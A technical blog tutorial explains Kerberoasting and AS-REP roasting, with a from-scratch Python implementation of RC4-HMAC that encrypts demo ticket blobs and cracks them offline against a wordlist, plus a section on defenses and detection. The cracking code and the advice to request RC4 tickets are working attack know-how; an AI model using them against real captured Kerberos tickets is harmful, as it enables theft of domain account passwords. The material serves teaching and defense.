Kerberoasting: Cracking Kerberos Tickets Offline
Any domain user can ask for a service ticket, and its encrypted part is a password hash in disguise. This guide builds RC4-HMAC Kerberos tickets, then cracks them offline with a wordlist, no login attempts and nothing logged, and shows why a single unsalted MD4 makes it so fast.
Pashalis Laoutaris 15 min read
Try it
Interactive Kerberoasting / AS-REP Roasting Breaker
🔐 Kerberoasting / AS-REP Roasting Breaker
Kerberoasting: Cracking Kerberos Tickets Offline
Introduction
Kerberos proves who you are without sending your password over the network. That design has a soft spot that has nothing to do with the protocol’s cryptography being wrong. It comes from where the keys come from. When a key is derived from a human-chosen password, anything encrypted with that key is a password guess waiting to happen.
Two attacks exploit this, and they are the bread and butter of Active Directory intrusions. Kerberoasting asks the domain controller for a service ticket, which any logged-in user may do, and cracks the ticket’s encrypted part offline. AS-REP roasting does the same with the login reply of any account that has pre-authentication turned off. Neither sends a single password to the server, so neither trips a failed-login alarm. This guide builds both targets with real RC4-HMAC Kerberos cryptography and cracks them.
Table of Contents
- Introduction
- Where the Key Comes From
- The Two Roasts
- The Blob Is a Password Oracle
- Why RC4 Makes It Fast
- Interactive Visualizer
- A Worked Example
- Python Implementation
- Limitations
- Security Status
- FAQ
- References
Where the Key Comes From
Every Kerberos account has a long-term key. For the RC4-HMAC encryption type, number 23, the key is simply:
key = MD4( password encoded as UTF-16LE )
That is the old Windows NT password hash. There is no salt and no iteration count. One MD4 of the password gives the key, full stop. The Kerberos guide on this site uses the modern AES encryption types instead, where the key goes through PBKDF2 with thousands of iterations. That difference is the whole story of why roasting is fast, and we will come back to it.
A service account, such as the one a SQL Server or a web app runs under, has exactly this kind of key. So does a user account. If the password is weak, the key is a short hop from a dictionary word.
The Two Roasts
Both attacks collect a blob that was encrypted with an account’s long-term key, then attack the password offline.
Kerberoasting. When a user wants to use a service, it asks the domain controller for a service ticket. The ticket contains an encrypted part sealed with the service account’s key. Any authenticated user can request a ticket for any service, with no special rights, because checking whether the user may actually use the service is the service’s job, not the ticket’s. The attacker requests the ticket, keeps the encrypted part, and never contacts the service at all. In RC4-HMAC this part uses key usage number 2.
AS-REP roasting. Normally the first step of login is pre-authentication: the client proves it knows the password by encrypting a timestamp. Some accounts have this turned off. For those, anyone can send a login request and get back an AS-REP whose encrypted part is sealed with the account’s own key, without proving anything. That part uses key usage number 8. It is the same offline target, handed out to a complete stranger.
The Blob Is a Password Oracle
The RC4-HMAC encrypted blob, from RFC 4757, is a 16-byte checksum followed by the RC4-encrypted data:
K1 = HMAC-MD5(key, usage) (usage is a 4-byte little-endian number)
checksum = HMAC-MD5(K1, confounder || plaintext)
K3 = HMAC-MD5(K1, checksum)
blob = checksum || RC4(K3, confounder || plaintext)
To test a candidate password, the attacker derives key = MD4(UTF-16LE(password)), rebuilds K1 and K3, decrypts, and recomputes the checksum over the result. If it matches the checksum in the blob, the password is correct. The checksum is a built-in correctness oracle, so the attacker needs no knowledge of the plaintext structure at all. This is exactly what the password crackers hashcat (modes 13100 and 18200) and John the Ripper check.
So cracking is a plain offline dictionary attack. For each word, do a little hashing and compare one checksum. The domain controller is never touched again after the one ticket request.
Why RC4 Makes It Fast
The cost of one guess is the whole game. For RC4-HMAC it is a single MD4 plus a few HMAC-MD5 calls. No salt means a precomputed wordlist works against any account. No iteration count means nothing slows each guess down. A laptop tries millions of RC4 Kerberos guesses per second.
The modern AES encryption types change this. Their string-to-key runs PBKDF2 with HMAC-SHA1 for 4,096 iterations by default, salted with the realm and account name. Each guess costs thousands of times more, and the salt kills precomputation. This is why attackers specifically request an RC4 ticket when they can: the client asks for encryption type 23, and a domain that still allows it obliges. Turning RC4 off, which RFC 8429 recommends, forces the slow AES path.
Interactive Visualizer
The visualizer above runs both roasts in your browser with real RC4-HMAC cryptography. Pick Kerberoasting or AS-REP roasting, set the account’s secret password, and give the attacker a wordlist. The attacker never sees the password; it only sees the blob.
The four cards show the captured blob, the single unsalted MD4 that turns the password into the key, the dictionary attack trying each word and checking the checksum, and the result. Put the real password anywhere in the list, or leave it out to watch the attack fail, which is what a strong password does. The same code runs in the Python below, and the two agree byte for byte.
A Worked Example
A service account has the password Summer2024!. The attacker requests a service ticket and captures the $krb5tgs$23$ blob: a checksum of 66b21a17d012df842646aac89b89b674 and the RC4-encrypted enc-part.
The attacker runs a wordlist. For each word it computes MD4(UTF-16LE(word)), rebuilds the keys, and checks the checksum. The list here is ten common passwords, with the real one seventh:
Password1, Welcome1, Summer2023!, Autumn2024!, P@ssw0rd,
Company123, Summer2024!, Winter2024!, Qwerty123, Letmein1
The seventh guess, Summer2024!, reproduces the checksum. The blob decrypts cleanly, its first bytes 79820170308201 being the ASN.1 header of the ticket’s encrypted part. AS-REP roasting works the same way against a $krb5asrep$23$ blob with key usage 8. The attacker now holds the account’s password, found entirely offline.
Python Implementation
This builds RC4-HMAC from scratch: MD4 for the string-to-key, HMAC-MD5, and RC4, following RFC 4757. It encrypts a ticket, cracks it with a wordlist, and does the same for AS-REP roasting.
# kerberoast.py
#
# Kerberoasting and AS-REP roasting against the RC4-HMAC Kerberos encryption type (etype 23, RFC 4757).
# A service or account whose long-term key comes from a weak password hands out an encrypted blob that
# anyone can request. The key is MD4(UTF-16LE(password)) with NO iteration, so an attacker guesses the
# password offline, millions of tries per second, and the HMAC checksum confirms the hit. Teaching code.
import hashlib
import hmac as _hmac
import struct
M32 = 0xFFFFFFFF
# ---- MD4 from scratch (RFC 1320); hashlib has dropped it. Used for the RC4-HMAC string-to-key. ----
def _rotl(x, n):
x &= M32
return ((x << n) | (x >> (32 - n))) & M32
def md4(msg):
a, b, c, d = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476
ml = len(msg) * 8
msg = msg + b"\x80"
while len(msg) % 64 != 56:
msg += b"\x00"
msg += struct.pack("<Q", ml)
for off in range(0, len(msg), 64):
x = list(struct.unpack("<16I", msg[off:off + 64]))
aa, bb, cc, dd = a, b, c, d
def ff(a, b, c, d, k, s):
return _rotl((a + ((b & c) | (~b & d)) + x[k]) & M32, s)
def gg(a, b, c, d, k, s):
return _rotl((a + ((b & c) | (b & d) | (c & d)) + x[k] + 0x5a827999) & M32, s)
def hh(a, b, c, d, k, s):
return _rotl((a + (b ^ c ^ d) + x[k] + 0x6ed9eba1) & M32, s)
for k in range(0, 16, 4):
a = ff(a, b, c, d, k, 3); d = ff(d, a, b, c, k + 1, 7)
c = ff(c, d, a, b, k + 2, 11); b = ff(b, c, d, a, k + 3, 19)
for k in range(4):
a = gg(a, b, c, d, k, 3); d = gg(d, a, b, c, k + 4, 5)
c = gg(c, d, a, b, k + 8, 9); b = gg(b, c, d, a, k + 12, 13)
for k in [0, 2, 1, 3]:
a = hh(a, b, c, d, k, 3); d = hh(d, a, b, c, k + 8, 9)
c = hh(c, d, a, b, k + 4, 11); b = hh(b, c, d, a, k + 12, 15)
a = (a + aa) & M32; b = (b + bb) & M32; c = (c + cc) & M32; d = (d + dd) & M32
return struct.pack("<4I", a, b, c, d)
def hmac_md5(key, data):
return _hmac.new(key, data, hashlib.md5).digest()
def rc4(key, data):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xff
s[i], s[j] = s[j], s[i]
out = bytearray()
i = j = 0
for byte in data:
i = (i + 1) & 0xff
j = (j + s[i]) & 0xff
s[i], s[j] = s[j], s[i]
out.append(byte ^ s[(s[i] + s[j]) & 0xff])
return bytes(out)
def string_to_key(password):
"""RC4-HMAC long-term key: MD4 of the password in UTF-16LE. No salt, no iteration."""
return md4(password.encode("utf-16-le"))
def rc4_hmac_encrypt(key, usage, plaintext, confounder):
"""RFC 4757 ENCRYPT (non-export). Output is checksum(16) || RC4(K3, confounder || plaintext)."""
t = struct.pack("<I", usage)
k1 = hmac_md5(key, t)
k2 = k1
data = confounder + plaintext
checksum = hmac_md5(k2, data)
k3 = hmac_md5(k1, checksum)
return checksum + rc4(k3, data)
def rc4_hmac_decrypt(key, usage, blob):
"""RFC 4757 DECRYPT. Returns (plaintext, ok) where ok is the checksum verification."""
t = struct.pack("<I", usage)
k1 = hmac_md5(key, t)
k2 = k1
checksum = blob[:16]
k3 = hmac_md5(k1, checksum)
data = rc4(k3, blob[16:])
confounder, plaintext = data[:8], data[8:]
ok = hmac_md5(k2, data) == checksum
return plaintext, ok
def verify_password(blob, usage, password):
"""The offline oracle: does this password's key reproduce the blob's checksum? (hashcat's check.)"""
key = string_to_key(password)
t = struct.pack("<I", usage)
k1 = hmac_md5(key, t)
checksum = blob[:16]
k3 = hmac_md5(k1, checksum)
data = rc4(k3, blob[16:])
return hmac_md5(k1, data) == checksum
def crack(blob, usage, wordlist):
"""Try each candidate password offline. Returns (password, guesses) or (None, len)."""
for i, pw in enumerate(wordlist, 1):
if verify_password(blob, usage, pw):
return pw, i
return None, len(wordlist)
# key usage numbers (RFC 4757 section 3)
USAGE_TGS_TICKET = 2 # Kerberoasting: the service ticket's enc-part, under the service account key
USAGE_AS_REP = 8 # AS-REP roasting: the AS-REP enc-part, under the client's key
if __name__ == "__main__":
import time
# the RFC 4757 test vector for the string-to-key
v = string_to_key("foo").hex()
print("String2Key('foo') =", v, "| RFC 4757:", "ac8e657f83df82beea5d43bdaf7800cc", "| match:",
v == "ac8e657f83df82beea5d43bdaf7800cc")
# a service account "MSSQLSvc" whose password is weak; the attacker requests a TGS for it
password = "Summer2024!"
key = string_to_key(password)
# the ticket's encrypted part stands in here for the ASN.1 EncTicketPart (its exact bytes do not matter
# to the attack; the HMAC checksum is the oracle). A fixed confounder keeps this demo reproducible.
enc_ticket_part = bytes.fromhex("79820170308201") + b"...EncTicketPart: session key, flags, times, PAC..."
confounder = bytes.fromhex("9b6b9c1f2e3d4a5c")
blob = rc4_hmac_encrypt(key, USAGE_TGS_TICKET, enc_ticket_part, confounder)
print("\nKerberoast target (etype 23). The $krb5tgs$23$ blob the attacker captures:")
print(" checksum:", blob[:16].hex())
print(" encrypted:", blob[16:].hex()[:64], "...")
# the attacker's wordlist (the real password is in it)
wordlist = ["Password1", "Welcome1", "Summer2023!", "Autumn2024!", "P@ssw0rd",
"Company123", "Summer2024!", "Winter2024!", "Qwerty123", "Letmein1"]
found, guesses = crack(blob, USAGE_TGS_TICKET, wordlist)
print("\nOffline dictionary attack:")
print(" wordlist size:", len(wordlist))
print(" password found:", repr(found), "after", guesses, "guesses")
pt, ok = rc4_hmac_decrypt(string_to_key(found), USAGE_TGS_TICKET, blob)
print(" checksum verifies:", ok, "| decrypted starts:", pt[:7].hex())
# AS-REP roasting is the same attack on a different blob and usage number
asrep_plain = bytes.fromhex("7981") + b"...EncASRepPart: session key, last-req, nonce, times..."
asrep_blob = rc4_hmac_encrypt(string_to_key("Hunter2!"), USAGE_AS_REP, asrep_plain, confounder)
found2, g2 = crack(asrep_blob, USAGE_AS_REP, ["Password1", "Hunter2!", "Welcome1"])
print("\nAS-REP roast ($krb5asrep$23$, usage 8): password found:", repr(found2), "after", g2, "guesses")
# why RC4 roasting is fast: no iteration. Measure guesses per second.
big = ["word%d" % n for n in range(20000)]
t0 = time.time()
crack(blob, USAGE_TGS_TICKET, big) # none match, full scan
dt = time.time() - t0
print("\nSpeed: %d candidate passwords in %.2fs = %d guesses/sec (pure Python)." % (len(big), dt, len(big) / dt))
print("RC4-HMAC derives a key with ONE MD4 and a few HMAC-MD5. AES types run PBKDF2 4096 times,")
print("which is thousands of times slower per guess. That gap is why attackers request RC4 tickets.")
Running it prints this:
String2Key('foo') = ac8e657f83df82beea5d43bdaf7800cc | RFC 4757: ac8e657f83df82beea5d43bdaf7800cc | match: True
Kerberoast target (etype 23). The $krb5tgs$23$ blob the attacker captures:
checksum: 66b21a17d012df842646aac89b89b674
encrypted: 4a90b7e03ceb9aeae4674dcb8a55918bad6ed82fdbc3f8dfaa61e6a60f94403a ...
Offline dictionary attack:
wordlist size: 10
password found: 'Summer2024!' after 7 guesses
checksum verifies: True | decrypted starts: 79820170308201
AS-REP roast ($krb5asrep$23$, usage 8): password found: 'Hunter2!' after 2 guesses
Speed: 20000 candidate passwords in 0.81s = 24618 guesses/sec (pure Python).
RC4-HMAC derives a key with ONE MD4 and a few HMAC-MD5. AES types run PBKDF2 4096 times,
which is thousands of times slower per guess. That gap is why attackers request RC4 tickets.
I checked the code against published vectors. The string-to-key reproduces the RFC 4757 test vector exactly: String2Key("foo") is ac8e657f83df82beea5d43bdaf7800cc. MD4 matches the RFC 1320 vectors for the empty string, abc, and message digest; RC4 matches the standard Key/Plaintext vector; HMAC-MD5 matches the RFC 2104 vector. The encrypt and decrypt round-trip and the checksum verifies, which is the exact test the password crackers use. The JavaScript in the visualizer matches the Python on 120 random cases, for MD4, MD5, HMAC-MD5, RC4, the derived key, and the whole blob.
Limitations
RC4-HMAC, by choice. This guide uses encryption type 23 because it is the one attackers prefer and the one that makes roasting cheap. The AES types resist the attack far better, through PBKDF2’s iterations and salt, though a weak enough password still falls to a patient attacker. The base Kerberos guide implements the AES types.
The plaintext stands in for ASN.1. A real ticket’s encrypted part is a DER-encoded structure with the session key, flags, and times. The attack does not depend on those bytes, because the HMAC checksum is the oracle, so the demo uses a short placeholder. The worked example notes the real ASN.1 header that a correct decryption reveals.
No live Active Directory. The code builds and cracks the blob directly. It does not speak the Kerberos network protocol, request real tickets, or parse a PAC. It shows the cryptography that makes the attack work, not the network plumbing.
Teaching code. MD4, RC4, and HMAC are written for clarity, and the wordlist is tiny. Real tools crack at millions of guesses per second on a GPU.
Security Status
Kerberoasting and AS-REP roasting are among the most used techniques in real Active Directory attacks, and they work because of password strength, not a flaw in Kerberos itself. The cryptography does exactly what it was told to; the weakness is a human password behind a fast, unsalted key.
The defenses are concrete. Give service accounts long random passwords or use group managed service accounts, where the password is 120 random bytes and roasting a wordlist is pointless. Turn off RC4 so every key uses the slow, salted AES path, as RFC 8429 advises. Require Kerberos pre-authentication everywhere to remove AS-REP roasting. And watch for the signature of the attack: a single account requesting many service tickets, or requesting RC4 tickets, which the domain controller logs even though the offline cracking that follows is invisible.
FAQ
Does this break Kerberos itself?
No, it does not. The protocol and its ciphers are sound. The attack cracks a weak password that sits behind the key, and the fix is a strong password or a stronger encryption type, not a change to Kerberos.
Why can any user request these tickets?
A service ticket proves to the service who the client is; deciding whether that client is allowed in is left to the service. So the domain controller issues a ticket to any authenticated user who asks, and that ticket’s encrypted part is the crackable blob. AS-REP roasting needs even less, because an account with pre-authentication off answers a complete stranger.
Why is RC4 the attacker’s choice?
Its key is a single unsalted MD4 of the password, so each guess is cheap and precomputation is possible. The AES types use PBKDF2 with 4,096 salted iterations, thousands of times slower per guess. When a domain still allows RC4, the attacker simply asks for an RC4 ticket.
How is this different from just stealing a password hash?
The blob is not stored anywhere as a hash; it is minted on demand from the account’s key. The attacker turns a normal Kerberos exchange into an offline hash to crack, without touching the account’s stored credentials or logging in as it.
What actually stops it?
Long random passwords, group managed service accounts, disabling RC4, and requiring pre-authentication. Each one either makes the key expensive to attack or removes the free blob. Password length is the single biggest factor, because the attack is only ever as strong as the password behind the key.
References
-
RFC 4757. Jaganathan, K., L. Zhu, and J. Brezak. “The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows,” 2006 (the string-to-key, encryption, and checksum used here).
-
Medin, Tim. “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades.” DerbyCon, 2014 (the original Kerberoasting disclosure and the first TGS cracker).
-
Schroeder, Will. “Roasting AS-REPs,” 2017 (the AS-REP roasting technique), harmj0y.net.
-
RFC 8429. Kaduk, B., and M. Short. “Deprecate Triple-DES (3DES) and RC4 in Kerberos,” 2018.
-
RFC 4120. Neuman, C., T. Yu, S. Hartman, and K. Raeburn. “The Kerberos Network Authentication Service (V5),” 2005.
-
The Kerberos guide on this site, which builds the protocol with the AES encryption types: /blog/kerberos_guide/